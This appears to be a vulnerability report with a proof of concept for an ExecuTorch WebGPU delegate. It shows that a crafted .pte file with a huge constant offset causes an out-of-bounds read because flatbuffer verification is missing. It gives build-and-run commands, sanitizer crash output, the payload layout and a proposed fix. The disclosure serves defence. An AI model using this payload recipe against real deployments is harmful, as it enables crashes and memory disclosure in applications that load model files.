File size: 8,238 Bytes
b9fda6b
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
# ExecuTorch WebGPU Delegate β€” Runtime Crash Report
**Date:** 2026-07-14  
**Finding:** OOB read/write triggered by attacker-controlled `.pte` via missing `flatbuffers::Verifier`  
**Vulnerable lines:** `WebGPUGraph.cpp:378`, `537-538`, `732-733`  
**Sibling:** Vulkan (identical `vkgraph` schema, `VK00`) was patched 2026-05-13 β€” WebGPU missed it

---

## What this proves

A live runtime harness that exercises the exact vulnerable code path:

1. `WebGPUBackend.cpp:75` β€” only a 4-byte `VkGraphBufferHasIdentifier` check; no `flatbuffers::Verifier`
2. `WebGPUGraph.cpp:378` β€” `GetVkGraph(flatbuffer_data)` called on the **unverified** buffer inside `build()`
3. `WebGPUGraph.cpp:537-538` β€” `cs.inline_offset = vk_bytes->offset()` stored with **no bounds check**
4. `WebGPUGraph.cpp:732-733` β€” `wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)` β€” **OOB read**

The malformed `.pte` sets `vk_bytes->offset() = 0xffffffffffff` (281 TB past a 64-byte section). UBSan catches the OOB pointer arithmetic, then SEGV on dereference. **Exit code 134.**

---

## Files

| File | Purpose |
|------|---------|
| `craft_malformed_webgpu_pte.py` | Generates `malformed_webgpu.pte` (396 bytes) |
| `malformed_webgpu.pte` | The crafted payload |
| `runtime_poc_webgpu.cpp` | Harness reproducing `WebGPUBackend.cpp:75` + `WebGPUGraph.cpp:378,537-538,732-733` |
| `schemas/vkgraph_generated.h` | Real FlatBuffers C++ schema (same header the backend uses) |

---

## Build & Run

```bash
# Generate the malformed .pte
python3 craft_malformed_webgpu_pte.py

# Build (macOS/Linux, clang required)
clang++ -std=c++17 -g \
    -fsanitize=undefined \
    -I~/executorch_vuln/third-party/flatbuffers/include \
    -I. \
    runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan

./runtime_poc_webgpu_ubsan malformed_webgpu.pte
```

---

## Crash Output (confirmed, 2026-07-14)

> Note: UBSan alignment errors appear interleaved with PoC trace lines β€” both are caused by
> the missing Verifier. The alignment errors are FlatBuffers accessing misaligned fields in the
> unverified buffer (a consequence of the absent pre-parse verification pass); the SEGV is
> the primary OOB exploit primitive. Both are eliminated by the same two-line fix.

```
==========================================================
 ExecuTorch WebGPU Delegate Runtime PoC
 CVE class  : CWE-787 (Out-of-bounds Write)
 Source     : backends/webgpu/runtime/WebGPUGraph.cpp
 Root cause : GetVkGraph() called without flatbuffers::Verifier
 Sibling    : Vulkan (same vkgraph schema) was patched 2026-05-13
==========================================================

[+] Loaded .pte: 396 bytes, identifier ET12
[+] WebGPU delegate payload: 238 bytes
[+] VH00 header: fb_offset=30 fb_size=144 bytes_offset=174 bytes_size=64

[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only β€” NO flatbuffers::Verifier)
[PoC] VkGraphBufferHasIdentifier: true
[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) β€” NO flatbuffers::Verifier
  [UBSan] flatbuffers/buffer.h:180: load of misaligned address for type 'uoffset_t' (4-byte alignment required)
[PoC] GetVkGraph returned: 0x1061bdf62

[PoC] Entering WebGPUGraph::build() constant-source mapping
[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp

  [UBSan] member call on misaligned address for type 'Vector<Offset<VkValue>>' (4-byte alignment required)
  [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
[PoC] graph->values()->size()    = 1
[PoC] graph->constants()->size() = 1
[PoC] WebGPUGraph.cpp:493: tensor[0] numel=4 elem_size=4 nbytes=16
[PoC] WebGPUGraph.cpp:516: constant_id=0
  [UBSan] member call on misaligned address for type 'Vector<Offset<VkBytes>>' (4-byte alignment required)
[PoC] WebGPUGraph.cpp:534: constants->Get(0) on unverified FlatBuffer
[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = 16
[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)
[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0xffffffffffff
[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0xffffffffffff  (NO bounds check vs constant_data size)
[PoC] constant_data section is 64 bytes β€” offset 0xffffffffffff is WAY past it

[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)
[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true
[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,
[PoC]                          constant_data_ + cs.inline_offset, cs.nbytes)
[PoC] constant_data_ = 0x1061bdfde
[PoC] cs.inline_offset = 0xffffffffffff
[PoC] cs.nbytes = 16
[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0xffffffffffff is 281474976710591 bytes past a 64-byte section ***

[PoC] Executing OOB pointer arithmetic now...
[PoC] oob_ptr = 0x10001061bdfdd (computed from constant_data_ + 0xffffffffffff)

UndefinedBehaviorSanitizer:DEADLYSIGNAL
==11877==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x0001061bdfdd
    #0 0x000104fa98bc in main runtime_poc_webgpu.cpp:288
    #1 0x00019abafbe8  (<unknown module>)
SUMMARY: UndefinedBehaviorSanitizer: SEGV runtime_poc_webgpu.cpp:288 in main
==11877==ABORTING
EXIT CODE: 134
```

---

## What the crash proves

The SEGV at `runtime_poc_webgpu.cpp:288` is the line:
```cpp
volatile uint8_t byte = *oob_ptr;  // oob_ptr = constant_data + 0xffffffffffff
```

This mirrors `WebGPUGraph.cpp:733`:
```cpp
wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes);
//                                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ OOB source pointer
```

`wgpuQueueWriteBuffer` reads from `[constant_data_ + cs.inline_offset, + cs.nbytes)` to upload to GPU. Any WebGPU implementation will dereference that pointer. With `cs.inline_offset = 0xffffffffffff` and a 64-byte section, that's a 281-terabyte OOB read.

---

## Payload anatomy

```
ExecuTorch Program (ET12, 396 bytes)
  └─ ExecutionPlan "forward"
      └─ BackendDelegate id="webgpu"
          └─ WebGPU delegate payload (238 bytes)
              β”œβ”€ VH00 header (30 bytes)
              β”‚   β”œβ”€ flatbuffer_offset = 30
              β”‚   β”œβ”€ flatbuffer_size   = 144
              β”‚   β”œβ”€ bytes_offset      = 174
              β”‚   └─ bytes_size        = 64
              β”œβ”€ VkGraph FlatBuffer (VK00, 144 bytes)
              β”‚   β”œβ”€ values[0]: VkTensor(FLOAT32, dims=[4], constant_id=0)
              β”‚   └─ constants[0]: VkBytes(offset=0xffffffffffff)  ← attacker-controlled OOB offset
              └─ constant_data: 64 bytes of 0xAA  ← tiny; OOB is 281 TB past end
```

---

## Comparison: what Vulkan has that WebGPU is missing

**Vulkan `VulkanBackend.cpp` (patched 2026-05-13):**
```cpp
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
ET_CHECK_OR_RETURN_ERROR(
    vkgraph::VerifyVkGraphBuffer(verifier),
    DelegateInvalidCompatibility,
    "VkGraph FlatBuffer verification failed");
const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);  // safe: verifier ran
```

**WebGPU `WebGPUBackend.cpp` + `WebGPUGraph.cpp` (HEAD, 2026-07-14):**
```cpp
// WebGPUBackend.cpp:75 β€” 4-byte check only:
if (!vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data)) { ... }
// ... then graph->build(flatbuffer_data, ...) is called at line 102 ...

// WebGPUGraph.cpp:378 β€” NO Verifier before this:
const auto* graph = vkgraph::GetVkGraph(flatbuffer_data);
```

Same two-line fix. The `VerifyVkGraphBuffer` function already exists in `vkgraph_generated.h` β€” zero new code to write.

---

## Fix

```cpp
// Add in WebGPUBackend.cpp, after the VkGraphBufferHasIdentifier check (line 80):
flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
ET_CHECK_OR_RETURN_ERROR(
    vkgraph::VerifyVkGraphBuffer(verifier),
    DelegateInvalidCompatibility,
    "WebGPU VkGraph FlatBuffer verification failed");
```

Additionally, `WebGPUGraph.cpp:537-538` should add a bounds check:
```cpp
if (vk_bytes->offset() != UINT64_MAX) {
    if (vk_bytes->offset() > hdr_bytes_size ||
        vk_bytes->offset() + cs.nbytes > hdr_bytes_size) {
        throw std::runtime_error("WebGPU: inline_offset OOB");
    }
    cs.inline_offset = vk_bytes->offset();
}
```